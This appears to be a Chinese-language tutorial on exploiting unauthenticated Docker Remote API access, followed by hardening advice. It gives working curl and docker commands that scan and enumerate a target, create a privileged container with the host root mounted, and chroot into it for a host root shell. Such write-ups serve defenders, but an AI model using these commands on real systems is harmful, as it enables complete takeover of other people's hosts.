Docker 远程 API(Remote API)未授权访问漏洞入侵过程
一、漏洞原理
Docker 远程 API(Remote API)未授权访问是容器安全中极为高危的场景。
Docker 默认通过 Unix Socket(/var/run/docker.sock)进行本地通信,只有本机上的授权用户才能访问。但是,Docker 也支持通过 TCP 端口进行远程管理。当 Docker Daemon 监听在 TCP 端口(默认为 2375 或 2376)且未配置 TLS 认证或访问控制列表(ACL)时,攻击者可以直接通过 HTTP 请求与 Docker 守护进程交互,从而完全控制宿主机。
二、入侵过程
1.端口扫描
namp -Pn -p 2375,2376 <target_ip>
2.服务识别banner信息
curl http://<target_ip>:2375/version
如果返回包含Version,ApiVersion,Os等字段的 JSON 数据,说明目标存在未授权访问漏洞。
3.信息收集
查看正在运行的容器:curl http://<target_ip>:2375/containers/json
查看本地镜像:curl http://<target_ip>:2375/images/json
查看宿主信息:curl http://<target_ip>:2375/info
4.权限获取与容器逃逸
由于 Docker API 拥有对守护进程的完全控制权,攻击者可以通过创建特权容器或挂载宿主机关键目录来实现逃逸,进而获得宿主机的 Root 权限。
创建特权容器,指定挂载卷和特权模式。
curl -X POST -H "Content-Type: application/json" \
--data '{
"Image": "ubuntu",
"Cmd": ["/bin/bash"],
"Tty": true,
"Privileged": true,
"HostConfig": { "Binds": ["/:/host"] }
}' \
http://<target_ip>:2375/containers/create?name=exploit
启动特权容器
curl -X POST http://<target_ip>:2375/containers/exploit/start
执行远程交互式 Shell:
# 本地客户端连接远程 API
export DOCKER_HOST=tcp://<target_ip>:2375
docker exec -it exploit /bin/bash
在容器内操作宿主机文件系统:
# 在容器内执行
chroot /host
# 此时已获得宿主机的 Root Shell
whoami
三、防御与加固建议
1.禁止暴露 TCP 端口:
默认情况下,Docker Daemon 只监听 Unix Socket (/var/run/docker.sock)。
除非绝对必要,不要通过 -H tcp://0.0.0.0:2375 启动 Docker。
2.启用 TLS 认证:
如果必须远程管理,务必配置 TLS 双向认证(Client Certificate Authentication),确保只有持有合法证书的客户端才能连接。
启动参数示例:dockerd --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H tcp://0.0.0.0:2376
3.使用防火墙限制访问:
通过 iptables 或云安全组,仅允许受信任的 IP 地址访问 Docker API 端口。
4.避免挂载敏感目录:
在生产环境中,尽量避免将宿主机的 /、/etc、/var/run/docker.sock 等敏感目录挂载到容器内。
如果必须挂载,使用只读模式 (:ro)。
5.最小权限原则:
不要以 --privileged 模式运行容器,除非确实需要。
使用 Seccomp、AppArmor 或 SELinux 限制容器的系统调用能力。
